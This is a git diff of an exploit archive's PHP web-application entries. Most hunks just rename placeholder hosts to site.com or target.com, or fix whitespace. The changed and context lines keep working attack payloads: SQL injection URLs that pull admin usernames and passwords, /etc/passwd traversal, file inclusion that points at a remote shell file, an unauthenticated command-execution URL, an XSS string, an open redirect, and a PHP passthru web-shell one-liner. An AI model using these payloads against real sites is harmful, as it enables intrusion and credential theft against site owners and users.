Shop-Script 2.0. All rights reserved" ########################################################################### ## EXPLOIT : -http://server/Script/index.php?aux_page=../../../../../etc/passwd +http://site.com/Script/index.php?aux_page=../../../../../etc/passwd ########################################################################### diff --git a/platforms/php/webapps/4861.txt b/platforms/php/webapps/4861.txt index 9577cdd24..af468b9c7 100755 --- a/platforms/php/webapps/4861.txt +++ b/platforms/php/webapps/4861.txt @@ -14,7 +14,7 @@ >> we dont need a permission admin for access to '/php/admin/cmd.php' :d - exemple : http://server/tutos/php/admin/cmd.php?cmd=id;ls + exemple : http://site.com/tutos/php/admin/cmd.php?cmd=id;ls or we can just enter into : http://[TARGEt]/[path_TUTOS]/php/admin/cmd.php and right the command in [ CMD(*) ] and press enter :d diff --git a/platforms/php/webapps/4882.txt b/platforms/php/webapps/4882.txt index 3db60753c..0a15d0fae 100755 --- a/platforms/php/webapps/4882.txt +++ b/platforms/php/webapps/4882.txt @@ -18,8 +18,8 @@ special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra greetz:to my best friend in the world hadi_aryaie2004 ---------- vules: -http://server/patch/?a='/**/union/**/select/**/1,concat(0x23,username,0x5f,password,0x23),email,4,5,6,7/**/from/**/users/**/where/**/id=1/* -http://server/patch/?a=downloads&cid='/**/union/**/select/**/1,concat(0x23,username,0x5f,password,0x23),email,4,5,6,7/**/from/**/users/**/where/**/id=1/* +http://site.com/patch/?a='/**/union/**/select/**/1,concat(0x23,username,0x5f,password,0x23),email,4,5,6,7/**/from/**/users/**/where/**/id=1/* +http://site.com/patch/?a=downloads&cid='/**/union/**/select/**/1,concat(0x23,username,0x5f,password,0x23),email,4,5,6,7/**/from/**/users/**/where/**/id=1/* ------------------------------------- you can see some thing similar to: diff --git a/platforms/php/webapps/4908.pl b/platforms/php/webapps/4908.pl index 48064a317..8436869c0 100755 --- a/platforms/php/webapps/4908.pl +++ b/platforms/php/webapps/4908.pl @@ -35,7 +35,7 @@ print q{ if(!$ARGV[0]) { print "[*] Usage: perl $0 [HOST]\n"; - print "[*] Example: perl $0 http://myserver/forum\n"; + print "[*] Example: perl $0 http://mysite.com/forum\n"; exit(1); } diff --git a/platforms/php/webapps/4925.txt b/platforms/php/webapps/4925.txt index 6c283545c..7b8d985e2 100755 --- a/platforms/php/webapps/4925.txt +++ b/platforms/php/webapps/4925.txt @@ -7,7 +7,7 @@ # # #Script Download : http://www.digitaldruid.net/download/php-residence_0.7.2.zip # # # -#Vulnerability Page: http://server/path/visualizza_tabelle.php?id_sessione=&anno=2006&tipo_tabella=clienti +#Vulnerability Page: http://site.com/path/visualizza_tabelle.php?id_sessione=&anno=2006&tipo_tabella=clienti # # #Search query : 99999'union/**/select/**/idutenti,nome_utente,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null/**/from/**/utenti/* # # diff --git a/platforms/php/webapps/4929.txt b/platforms/php/webapps/4929.txt index 8d10ac1c4..7d8e11ba2 100755 --- a/platforms/php/webapps/4929.txt +++ b/platforms/php/webapps/4929.txt @@ -11,9 +11,9 @@ ## EXPLOITS : username : -http://server/Path/index.php?module=forum&show=section&id=-1%20union%20select%201,username,3,4%20from%20phpecms_users%20where%20id=1/* +http://server.com/Path/index.php?module=forum&show=section&id=-1%20union%20select%201,username,3,4%20from%20phpecms_users%20where%20id=1/* password : -http://server/Path/index.php?module=forum&show=section&id=-1%20union%20select%201,password,3,4%20from%20phpecms_users%20where%20id=1/* +http://server.com/Path/index.php?module=forum&show=section&id=-1%20union%20select%201,password,3,4%20from%20phpecms_users%20where%20id=1/* ## GREETZ : All members v4 Team & no-hack & tryag & soqor ######################################################################### diff --git a/platforms/php/webapps/4930.txt b/platforms/php/webapps/4930.txt index aae27f4bc..d40308680 100755 --- a/platforms/php/webapps/4930.txt +++ b/platforms/php/webapps/4930.txt @@ -8,7 +8,7 @@ Download : http://galaxyscripts.com/forum/downloads.php?do=file&id=1 # DorKs : "Powered By Mini File Host V1.2" # ######################################################################### ## EXPLOIT : # -http://server/Path/pages/upload.php?language=[-LFI-] # +http://server.com/Path/pages/upload.php?language=[-LFI-] # ######################################################################### ## GREETZ : S.W.A.T. My Best Friend For Founding This Vuln & Helped Me # ######################################################################### diff --git a/platforms/php/webapps/4939.txt b/platforms/php/webapps/4939.txt index 1b5a8cc95..cb6b158ef 100755 --- a/platforms/php/webapps/4939.txt +++ b/platforms/php/webapps/4939.txt @@ -1,4 +1,4 @@ -remote sql injection exploit + remote sql injection exploit ############################################################### diff --git a/platforms/php/webapps/4942.txt b/platforms/php/webapps/4942.txt index 4d690a249..a0ea0eec1 100755 --- a/platforms/php/webapps/4942.txt +++ b/platforms/php/webapps/4942.txt @@ -1,5 +1,5 @@ TikiWiki < 1.9.9 tiki-listmovies.php Directory Traversal Vulnerability -http://www.vulnserver/tiki-listmovies.php?movie=../../../../../../etc/passwd%001234 +http://www.vulnsite.com/tiki-listmovies.php?movie=../../../../../../etc/passwd%001234 # milw0rm.com [2008-01-20] diff --git a/platforms/php/webapps/4944.txt b/platforms/php/webapps/4944.txt index b29589193..f92721c08 100755 --- a/platforms/php/webapps/4944.txt +++ b/platforms/php/webapps/4944.txt @@ -6,12 +6,12 @@ Site: http://www.360webmanager.com/ Google Dork: inurl:"IDFM=" "form.php" -Exploit: http://server/form.php?IDM=7&IDSM=20&IDFM=-1+union+select+1,concat_ws(0x3a,name,password),3,4 +Exploit: http://site.com/form.php?IDM=7&IDSM=20&IDFM=-1+union+select+1,concat_ws(0x3a,name,password),3,4 ,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+user/* Example: http://www.360webmanager.com/form.php?IDM=2&IDSM=24&IDFM=-1+union+select+1,concat_ws(0x3a,name,password),3,4 ,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+user/* =))) -Details: number of columns may be >20, admin panel - http://www.server/adm/login.php +Details: number of columns may be >20, admin panel - http://www.site.com/adm/login.php # milw0rm.com [2008-01-20] diff --git a/platforms/php/webapps/4956.txt b/platforms/php/webapps/4956.txt index ef7431f08..0533ae372 100755 --- a/platforms/php/webapps/4956.txt +++ b/platforms/php/webapps/4956.txt @@ -14,8 +14,8 @@ pull admin/user info from the database EXPLOITS: -www.server/index.php?menu=forum_catview&catid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(auser,0x3a,apass),7/**/FROM/**/admin/* -www.server/index.php?menu=forum_catview&catid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(username,0x3a,uemail,0x3a,upass),7/**/FROM/**/users/* +www.site.com/index.php?menu=forum_catview&catid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(auser,0x3a,apass),7/**/FROM/**/admin/* +www.site.com/index.php?menu=forum_catview&catid=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(username,0x3a,uemail,0x3a,upass),7/**/FROM/**/users/* diff --git a/platforms/php/webapps/4980.txt b/platforms/php/webapps/4980.txt index 1b230f123..0c0601f77 100755 --- a/platforms/php/webapps/4980.txt +++ b/platforms/php/webapps/4980.txt @@ -1,4 +1,4 @@ -__fuzion___ ____ + __fuzion___ ____ ______/ \__// \__/____\ _/ \_/ : //____\\ /| : : .. / \ diff --git a/platforms/php/webapps/4985.txt b/platforms/php/webapps/4985.txt index 6a05016fa..5238ca69a 100755 --- a/platforms/php/webapps/4985.txt +++ b/platforms/php/webapps/4985.txt @@ -29,13 +29,13 @@ columns : name / catid columns : name / url / image / relCatID / width / height exemple : -http://server/flinx/category.php?id=-999 union select name from flinx_cat-- +http://site.com/flinx/category.php?id=-999 union select name from flinx_cat-- we can also try get user and password from mysql.user : our user needs to be root@localhost or administrator mysql, check: -http://server/flinx/category.php?id=-999/**/union/**/select/**/user()/* +http://site.com/flinx/category.php?id=-999/**/union/**/select/**/user()/* user and password from mysql.user: -http://server/flinx/category.php?id=concat(user,0x203a3a20,password)/**/from/**/mysql.user/* +http://site.com/flinx/category.php?id=concat(user,0x203a3a20,password)/**/from/**/mysql.user/* # Gr33tz : CoNaN - V40 - Mahmood_ali - RaChiDoX & all muslims hackers diff --git a/platforms/php/webapps/4989.txt b/platforms/php/webapps/4989.txt index 291b193f1..19d66c5fb 100755 --- a/platforms/php/webapps/4989.txt +++ b/platforms/php/webapps/4989.txt @@ -1,4 +1,4 @@ -######################################################## + ######################################################## # # # SIMPLE FORUM v 3.2 MULTIPLE VULNERABILITIES # # author : tomplixsee # diff --git a/platforms/php/webapps/5003.txt b/platforms/php/webapps/5003.txt index 9291f027e..eae0959d3 100755 --- a/platforms/php/webapps/5003.txt +++ b/platforms/php/webapps/5003.txt @@ -1,4 +1,4 @@ -###### ###### ############## ###### ###### ######## ## + ###### ###### ############## ###### ###### ######## ## #### ## ## ## ## ## ## ## ## ######## ## ## ## ######## ## #### ###### ## ## ######## ## ###### ## ## ## ## ## ## ## ## #### ## ## ## ## ## ## diff --git a/platforms/php/webapps/5012.pl b/platforms/php/webapps/5012.pl index 34ec32887..6768a712f 100755 --- a/platforms/php/webapps/5012.pl +++ b/platforms/php/webapps/5012.pl @@ -34,8 +34,8 @@ $path = $path."/templates/Official/part_mps.php"; sub usage(){ - print "=> Usage: perl $0 Target/path http://server/cmd.txt\n"; - print "=> Ex : perl $0 http://server/forum http://server/cmd.txt\n"; + print "=> Usage: perl $0 Target/path http://site.com/cmd.txt\n"; + print "=> Ex : perl $0 http://site.com/forum http://site.com/cmd.txt\n"; print "Code of file cmd.txt : \n"; print '<?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>'; print " \n"; diff --git a/platforms/php/webapps/5013.php b/platforms/php/webapps/5013.php index 4ac46c715..7508bc38e 100755 --- a/platforms/php/webapps/5013.php +++ b/platforms/php/webapps/5013.php @@ -37,7 +37,7 @@ echo "------------------------------------------------------------------"."\n"; if ($argc!=3) { echo " Usage: $argv[0] target_host wp_path \n"; -echo " target_host: Your target ex server \n"; +echo " target_host: Your target ex www.target.com \n"; echo " wp_path: WordPress path ex /blog/ or / if wordpress is installed in the web servers root folder"; echo "\n"; exit; diff --git a/platforms/php/webapps/5017.php b/platforms/php/webapps/5017.php index 8cfd93cbf..399c0babe 100755 --- a/platforms/php/webapps/5017.php +++ b/platforms/php/webapps/5017.php @@ -44,7 +44,7 @@ echo "------------------------------------------------------------------"."\n"; if ($argc!=3) { echo " Usage: $argv[0] target_host wp_path \n"; -echo " target_host: Your target ex server \n"; +echo " target_host: Your target ex www.target.com \n"; echo " wp_path: WordPress path ex /blog/ or / if wordpress is installed in the web servers root folder"; echo "\n"; exit; diff --git a/platforms/php/webapps/5033.txt b/platforms/php/webapps/5033.txt index 568237470..17311d042 100755 --- a/platforms/php/webapps/5033.txt +++ b/platforms/php/webapps/5033.txt @@ -1,4 +1,4 @@ -LightBlog 9.5 - REMOTE FILE UPLOAD VULNERABILITY + LightBlog 9.5 - REMOTE FILE UPLOAD VULNERABILITY by Omni 1) Infos --------- diff --git a/platforms/php/webapps/5057.txt b/platforms/php/webapps/5057.txt index ff552df0f..bef6358a4 100755 --- a/platforms/php/webapps/5057.txt +++ b/platforms/php/webapps/5057.txt @@ -100,7 +100,7 @@ Vulnerability found in script htdocs/user.php?xoops_redirect in post parameter n Example: -http://[server]/[installdir]/htdocs/user.php?xoops_redirect=http://evilserver +http://[server]/[installdir]/htdocs/user.php?xoops_redirect=http://evilsite.com diff --git a/platforms/php/webapps/5075.txt b/platforms/php/webapps/5075.txt index 796722060..24b8650bf 100755 --- a/platforms/php/webapps/5075.txt +++ b/platforms/php/webapps/5075.txt @@ -15,7 +15,7 @@ Exploit: -http://server/customer_testimonials.php?testimonial_id=99999+union+select+1,2,concat(customers_lastname,0x3a,customers_password,0x3a,customers_email_address),4,5,6,7,8+from+customers/* +http://site.com/customer_testimonials.php?testimonial_id=99999+union+select+1,2,concat(customers_lastname,0x3a,customers_password,0x3a,customers_email_address),4,5,6,7,8+from+customers/* ######################################################### ## it's my sick world =/ #### www.antichat.ru diff --git a/platforms/php/webapps/5081.txt b/platforms/php/webapps/5081.txt index e80b34cda..27f7a0a6e 100755 --- a/platforms/php/webapps/5081.txt +++ b/platforms/php/webapps/5081.txt @@ -1,4 +1,4 @@ -## ## + ## ## ## ## ## ## ###CoRPITX diff --git a/platforms/php/webapps/5090.pl b/platforms/php/webapps/5090.pl index 225e44a05..7751d22e1 100755 --- a/platforms/php/webapps/5090.pl +++ b/platforms/php/webapps/5090.pl @@ -12,7 +12,7 @@ print "# # By Iron - randombase.com # Greets to everyone at RootShell Security Group # -# Example target url: http://server/openrealtydir/ +# Example target url: http://www.target.com/openrealtydir/ Target url?"; chomp($target=<stdin>); if($target !~ /^http:\/\//) diff --git a/platforms/php/webapps/5091.pl b/platforms/php/webapps/5091.pl index d9e19728c..875f40be8 100755 --- a/platforms/php/webapps/5091.pl +++ b/platforms/php/webapps/5091.pl @@ -12,7 +12,7 @@ print "# # By Iron - randombase.com # Greets to everyone at RootShell Security Group & dHack # -# Example target url: http://server/journalnessdir/ +# Example target url: http://www.target.com/journalnessdir/ Target url?"; chomp($target=<stdin>); if($target !~ /^http:\/\//) diff --git a/platforms/php/webapps/5094.txt b/platforms/php/webapps/5094.txt index 310533614..57f92a201 100755 --- a/platforms/php/webapps/5094.txt +++ b/platforms/php/webapps/5094.txt @@ -27,7 +27,7 @@ $pt_query = "SELECT * FROM mos_content_comments where articleid=$id AND publishe ######################################################### -http://server/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1 +http://site.com/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1 diff --git a/platforms/php/webapps/5095.txt b/platforms/php/webapps/5095.txt index cc3d375e0..4e7364e50 100755 --- a/platforms/php/webapps/5095.txt +++ b/platforms/php/webapps/5095.txt @@ -9,15 +9,15 @@ = BUG 1 : Remote SQL Injection Vulnerability -exploit => server/path/index.php?num=-1%20union%20select%201,2,3,4,5,6,user(),database(),9,10,11,12,13,14,15,16,17,18,19,20 +exploit => www.target.com/path/index.php?num=-1%20union%20select%201,2,3,4,5,6,user(),database(),9,10,11,12,13,14,15,16,17,18,19,20 = BUG 2 : XSS -exploit => server/path/index.php?category=[XSS] - server/path/index.php?num=9999999999&category=[XSS] +exploit => www.target.com/path/index.php?category=[XSS] + www.target.com/path/index.php?num=9999999999&category=[XSS] -example : server/path/index.php?category=%22%3E%3Cscript%3Ealert(1);%3C/script%3E - server/path/index.php?num=9999999999&category=%22%3E%3Cscript%3Ealert(1);%3C/script%3E +example : www.target.com/path/index.php?category=%22%3E%3Cscript%3Ealert(1);%3C/script%3E + www.target.com/path/index.php?num=9999999999&category=%22%3E%3Cscript%3Ealert(1);%3C/script%3E = Dork : "PKs Movie Database" diff --git a/platforms/php/webapps/5099.php b/platforms/php/webapps/5099.php index 529f7bf1b..d2c4327b1 100755 --- a/platforms/php/webapps/5099.php +++ b/platforms/php/webapps/5099.php @@ -6,11 +6,11 @@ echo "----------------------------antichat.ru------------------------"."\n"; if ($argc!=4){ echo " Usage: php ".$argv[0]." host type num_records\n"; -echo " host: Your target ex server \n"; +echo " host: Your target ex www.target.com \n"; echo " type: 1 - plugin=katalog bug\n"; echo " 2 - plugin=photogall bug\n"; echo " num_records: number or returned records(if 0 - return all)\n"; -echo " example: php script.php server 10\n"; +echo " example: php script.php site.com 10\n"; echo "\n"; exit; } diff --git a/platforms/php/webapps/5139.txt b/platforms/php/webapps/5139.txt index 6a977c659..c7761631e 100755 --- a/platforms/php/webapps/5139.txt +++ b/platforms/php/webapps/5139.txt @@ -15,7 +15,7 @@ Exploit: -http://server/index.php?option=com_portfolio&memberId=9&categoryId=-1+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12+from+mos_users/* +http://site.com/index.php?option=com_portfolio&memberId=9&categoryId=-1+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12+from+mos_users/* ######################################################### ## it's my sick world =/ #### www.antichat.ru diff --git a/platforms/php/webapps/5166.htm b/platforms/php/webapps/5166.htm index d4b5725f5..a98044572 100755 --- a/platforms/php/webapps/5166.htm +++ b/platforms/php/webapps/5166.htm @@ -91,7 +91,7 @@ function Login() { </head> <body> <p class="style1">- MultiCart 2.0 Remote Blind SQL Injection Vulnerbility -</p> -<p class="style2">Site: <input type="text" id="site" /> (URL to multicart site ie: http://www.server/multicart)</p> +<p class="style2">Site: <input type="text" id="site" /> (URL to multicart site ie: http://www.site.com/multicart)</p> <p class="style2">Table: <input type="text" id="tbl" /> (settings table name, default: "multicart_settings" others used: "mc_settings", "settings")</p> <p class="style2">User: <input type="text" id="user" /> (Register on the site first, then enter username here)</p> <p class="style2">Pass: <input type="text" id="pass" /> (Register on the site first, then enter password here)</p> diff --git a/platforms/php/webapps/5186.txt b/platforms/php/webapps/5186.txt index 4395d7f3b..7c0aee637 100755 --- a/platforms/php/webapps/5186.txt +++ b/platforms/php/webapps/5186.txt @@ -1,4 +1,4 @@ -## ## + ## ## ## ## ## ## ###CoRPITX diff --git a/platforms/php/webapps/5189.pl b/platforms/php/webapps/5189.pl index 7580ec3c4..df27eb23f 100755 --- a/platforms/php/webapps/5189.pl +++ b/platforms/php/webapps/5189.pl @@ -15,7 +15,7 @@ print "# # By Iron - randombase.com # Greets to everyone at RootShell Security Group # -# Example target url: http://server/dhbcms/ +# Example target url: http://www.target.com/dhbcms/ Target url?"; chomp($target=<stdin>); if($target !~ /^http:\/\//) diff --git a/platforms/php/webapps/5192.pl b/platforms/php/webapps/5192.pl index 62eb2fc82..513d17837 100755 --- a/platforms/php/webapps/5192.pl +++ b/platforms/php/webapps/5192.pl @@ -109,7 +109,7 @@ print "############################################################\n". sub Usage(){ print "\n Usage: nukedit.pl <host&path> <email> <password>\n"; -print " ex. : nukedit.pl server/nukedit/ myname\@somewhere.com 123456\n"; +print " ex. : nukedit.pl site.com/nukedit/ myname\@somewhere.com 123456\n"; } # milw0rm.com [2008-02-26] diff --git a/platforms/php/webapps/5195.txt b/platforms/php/webapps/5195.txt index 0528ea244..f83506229 100755 --- a/platforms/php/webapps/5195.txt +++ b/platforms/php/webapps/5195.txt @@ -15,7 +15,7 @@ Exploit: -http://server/index.php?option=com_simpleboard&func=view&catid=-999+union+select+2,2,3,concat(0x3a,0x3a,username,0x3a,password),5+from+mos_users/* +http://site.com/index.php?option=com_simpleboard&func=view&catid=-999+union+select+2,2,3,concat(0x3a,0x3a,username,0x3a,password),5+from+mos_users/* ######################################################### ## Together, we have strength =) #### www.antichat.ru diff --git a/platforms/php/webapps/5196.pl b/platforms/php/webapps/5196.pl index a9caa9567..410d90fba 100755 --- a/platforms/php/webapps/5196.pl +++ b/platforms/php/webapps/5196.pl @@ -14,7 +14,7 @@ print "# # By Iron - www.randombase.com # Greets to everyone at RootShell Security Group # -# Example target url: http://server/Portal/ +# Example target url: http://www.target.com/Portal/ Target url?"; chomp($target=<stdin>); if($target !~ /^http:\/\//) diff --git a/platforms/php/webapps/5239.php b/platforms/php/webapps/5239.php index 5700f535f..0a89a5b05 100755 --- a/platforms/php/webapps/5239.php +++ b/platforms/php/webapps/5239.php @@ -22,8 +22,8 @@ if ($argc<2) { echo "-v - verbose mode\n\n"; echo "tip:\n"; echo "use bigger number of <count> if server is slow\n\n"; - echo "php {$argv[0]} http://server/ -p=cms_\n"; - echo "php {$argv[0]} http://cms.server:8080/ -id=2\n"; + echo "php {$argv[0]} http://site.com/ -p=cms_\n"; + echo "php {$argv[0]} http://cms.site.com:8080/ -id=2\n"; die; } diff --git a/platforms/php/webapps/5240.htm b/platforms/php/webapps/5240.htm index bda5f1197..8ccc8660c 100755 --- a/platforms/php/webapps/5240.htm +++ b/platforms/php/webapps/5240.htm @@ -77,7 +77,7 @@ function Main(substr, num) { </head> <body> <p class="style1">- QuickTalk Forum <= 1.6 Blind SQL Injection Exploit -</p> -<p class="style2">Site: <input type="text" id="site" /> (URL to QuickTalk Forum site ie: http://www.server/quicktalkforum)</p> +<p class="style2">Site: <input type="text" id="site" /> (URL to QuickTalk Forum site ie: http://www.site.com/quicktalkforum)</p> <p class="style2">User: <input type="text" id="pid" /> (UserID of the user you want the MD5 hash too.)</p> <p class="style2"><input type="button" onclick="Start();" id="button" value="Exploit" /></p> <p class="style3">Output (MD5 Hash): <input type="text" id="output" size="100" /></p> (Do not touch untill exploit says its done) diff --git a/platforms/php/webapps/5288.txt b/platforms/php/webapps/5288.txt index a2b3aad2b..1371f6356 100755 --- a/platforms/php/webapps/5288.txt +++ b/platforms/php/webapps/5288.txt @@ -1,4 +1,4 @@ -/ _ \ /\ /\ / _ \ / _ \ + / _ \ /\ /\ / _ \ / _ \ | | | | \ \/ / ||_| | | | | | | | | | \ / \_ | | | | | | |_| | / \ __\ | | |_| | diff --git a/platforms/php/webapps/5294.txt b/platforms/php/webapps/5294.txt index c62ed9cbe..ad42e1645 100755 --- a/platforms/php/webapps/5294.txt +++ b/platforms/php/webapps/5294.txt @@ -15,11 +15,11 @@ Dork: 8=====B ! =) **Bug: -http://server/index.php?option=com_custompages&cpage=URL +http://www.target.com/index.php?option=com_custompages&cpage=URL **Example -http://server/index.php?option=com_custompages&cpage=http://atackweeb.cl/colocoloshell.txt? +http://www.target.com/index.php?option=com_custompages&cpage=http://atackweeb.cl/colocoloshell.txt? side note: diff --git a/platforms/php/webapps/5297.txt b/platforms/php/webapps/5297.txt index a1578db6c..a36847aca 100755 --- a/platforms/php/webapps/5297.txt +++ b/platforms/php/webapps/5297.txt @@ -12,11 +12,11 @@ Developer:Matti Kiviharju **Bug: -http://server/index.php?option=com_rekry&Itemid=xX&rekryview=view&op_id=[SQL] +http://www.target.com/index.php?option=com_rekry&Itemid=xX&rekryview=view&op_id=[SQL] **Example -http://server/index.php?option=com_rekry&Itemid=60&rekryview=view&op_id=-1/**/union/**/select/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20jos_users+limit+1,1-- +http://www.target.com/index.php?option=com_rekry&Itemid=60&rekryview=view&op_id=-1/**/union/**/select/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17%20from%20jos_users+limit+1,1-- diff --git a/platforms/php/webapps/5301.txt b/platforms/php/webapps/5301.txt index f73540baa..f2fae4515 100755 --- a/platforms/php/webapps/5301.txt +++ b/platforms/php/webapps/5301.txt @@ -1,4 +1,4 @@ -..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%. + ..%%%%....%%%%...%%..%%...........%%%%...%%%%%...%%%%%%..%%...%%. .%%......%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%...%%. ..%%%%...%%..%%..%%%%%%..%%%%%%..%%......%%%%%...%%%%....%%.%.%%. .....%%..%%..%%..%%..%%..........%%..%%..%%..%%..%%......%%%%%%%. diff --git a/platforms/php/webapps/5308.txt b/platforms/php/webapps/5308.txt index 4b2b1b8b2..36fcdcf61 100755 --- a/platforms/php/webapps/5308.txt +++ b/platforms/php/webapps/5308.txt @@ -47,7 +47,7 @@ https://www.securinfos.info ------------------------------------------------------------------ PoC: -http://server/e107_plugins/my_gallery/dload.php?file=dload.php +http://target.com/e107_plugins/my_gallery/dload.php?file=dload.php File is downloaded as a .jpg file but the PHP source code can be retrieved using a text editor. diff --git a/platforms/php/webapps/5324.txt b/platforms/php/webapps/5324.txt index 4d6835458..f0b8b558a 100755 --- a/platforms/php/webapps/5324.txt +++ b/platforms/php/webapps/5324.txt @@ -22,7 +22,7 @@ [~]---------------------------------------------------------------------- [~] Exploit :- [~] -[~] http://server/view_private.php?start=252&action=edit&tmp_theme=LFI +[~] http://site.com/view_private.php?start=252&action=edit&tmp_theme=LFI [~] [~] ../../../../../../etc/passwd [~] diff --git a/platforms/php/webapps/5352.txt b/platforms/php/webapps/5352.txt index 394b187d7..34d1292c0 100755 --- a/platforms/php/webapps/5352.txt +++ b/platforms/php/webapps/5352.txt @@ -11,7 +11,7 @@ ## EXPLOITS : -http://server/Path/index.php?mod=jeuxflash&cat=-1%20union%20select%201,concat(pseudo,0x3a,pass),3%20from%20users%20where%20id=1-- +http://server.com/Path/index.php?mod=jeuxflash&cat=-1%20union%20select%201,concat(pseudo,0x3a,pass),3%20from%20users%20where%20id=1-- ## GREETZ : All muslims Hackers diff --git a/platforms/php/webapps/5353.txt b/platforms/php/webapps/5353.txt index 52fa8c039..06ca48af8 100755 --- a/platforms/php/webapps/5353.txt +++ b/platforms/php/webapps/5353.txt @@ -11,7 +11,7 @@ ## EXPLOITS : -http://server/Path/index.php?mod=ConcoursPhoto&VIEW=prix&C_ID=-1/**/union/**/select/**/concat(pseudo,0x3a,pass)/**/from/**/users/**/where/**/id=1/* +http://server.com/Path/index.php?mod=ConcoursPhoto&VIEW=prix&C_ID=-1/**/union/**/select/**/concat(pseudo,0x3a,pass)/**/from/**/users/**/where/**/id=1/* ## GREETZ : All muslims Hackers ## speacial thnx to : str0ke diff --git a/platforms/php/webapps/5359.txt b/platforms/php/webapps/5359.txt index 7c8a28b18..d22563301 100755 --- a/platforms/php/webapps/5359.txt +++ b/platforms/php/webapps/5359.txt @@ -14,7 +14,7 @@ pull out admin user:pass EXPLOITS: -http://server/view_product.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(admin_user,0x3a,admin_password),7,8,9,10,11,12,13,14 FROM/**/admin_users/* +http://www.server.com/view_product.php?cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,concat(admin_user,0x3a,admin_password),7,8,9,10,11,12,13,14 FROM/**/admin_users/* NOTE/TIP: diff --git a/platforms/php/webapps/5360.txt b/platforms/php/webapps/5360.txt index 9487c7f78..957f551d0 100755 --- a/platforms/php/webapps/5360.txt +++ b/platforms/php/webapps/5360.txt @@ -1,4 +1,4 @@ -####################################################### + ####################################################### <<<<<< Remote File Disclosure Vulnerability >>>>>> sabrosus 1.75 (thumbnails.php) ####################################################### diff --git a/platforms/php/webapps/5362.txt b/platforms/php/webapps/5362.txt index c785ab6ef..9bc00ae44 100755 --- a/platforms/php/webapps/5362.txt +++ b/platforms/php/webapps/5362.txt @@ -18,8 +18,8 @@ from the database and view admin/user passwords in plaintext. EXPLOITS: -All Users: www.server/index.php?arcyear=-1&arcmonth=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11/**/FROM/**/sys_user/* -Admin: http://server/index.php?arcyear=-1&arcmonth=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11/**/FROM/**/sys_user/**/WHERE/**/permission=0x414C4C/* +All Users: www.site.com/index.php?arcyear=-1&arcmonth=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11/**/FROM/**/sys_user/* +Admin: http://site.com/index.php?arcyear=-1&arcmonth=-1/**/UNION/**/ALL/**/SELECT/**/1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11/**/FROM/**/sys_user/**/WHERE/**/permission=0x414C4C/* NOTE/TIP: diff --git a/platforms/php/webapps/5363.txt b/platforms/php/webapps/5363.txt index 5c7135b42..5461c63b2 100755 --- a/platforms/php/webapps/5363.txt +++ b/platforms/php/webapps/5363.txt @@ -14,7 +14,7 @@ the below injections can retrive the admin username and password. EXPLOITS: -http://server/directory.php?ax=list&sub=8&cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4/**/FROM/**/admin/* +http://server.com/directory.php?ax=list&sub=8&cat_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4/**/FROM/**/admin/* NOTE/TIP: diff --git a/platforms/php/webapps/5368.txt b/platforms/php/webapps/5368.txt index 4ffe2b7b8..8d13d59e7 100755 --- a/platforms/php/webapps/5368.txt +++ b/platforms/php/webapps/5368.txt @@ -1,4 +1,4 @@ - + ######################################################################## # # # ...:::::Blogator-script 0.95 SQL Injection Vulnerbility ::::.... # @@ -27,7 +27,7 @@ line 27: $id_art=$_GET['id_art']; line 34: $sql_res=mysql_query("SELECT sond_rep, votes_H, votes_F FROM sondage_rep WHERE id_sond = $id_art ORDER BY ordre"); ------------ vuln: -http://www.server/_blogadata/include/sond_result.php?id_art=-99999/**/union/**/select/**/concat(pseudo,0x3a,pass,char(58),email),2,3/**/from/**/membre/**/where/**/id_membre=1/* +http://www.site.com/_blogadata/include/sond_result.php?id_art=-99999/**/union/**/select/**/concat(pseudo,0x3a,pass,char(58),email),2,3/**/from/**/membre/**/where/**/id_membre=1/* -------------------------------- you can see in Blogator-script other injection bugs too ;) diff --git a/platforms/php/webapps/5370.txt b/platforms/php/webapps/5370.txt index be7980149..3a5ccf0aa 100755 --- a/platforms/php/webapps/5370.txt +++ b/platforms/php/webapps/5370.txt @@ -30,8 +30,8 @@ line 27: $sql_change_pass=mysql_query("UPDATE membre SET pass = '$mdp' WHERE id_ so if we put user id for $id and put %(any) for user email($email) and $mdp=newpassword.....he he he :) ------------ vuln: -http://www.server/_blogadata/include/init_pass2.php?c=[newpass]&a=[user id]&b=% +http://www.site.com/_blogadata/include/init_pass2.php?c=[newpass]&a=[user id]&b=% example:(change admin pass to 123456) -http://www.server/_blogadata/include/init_pass2.php?c=123456&a=1&b=% +http://www.site.com/_blogadata/include/init_pass2.php?c=123456&a=1&b=% # milw0rm.com [2008-04-05] diff --git 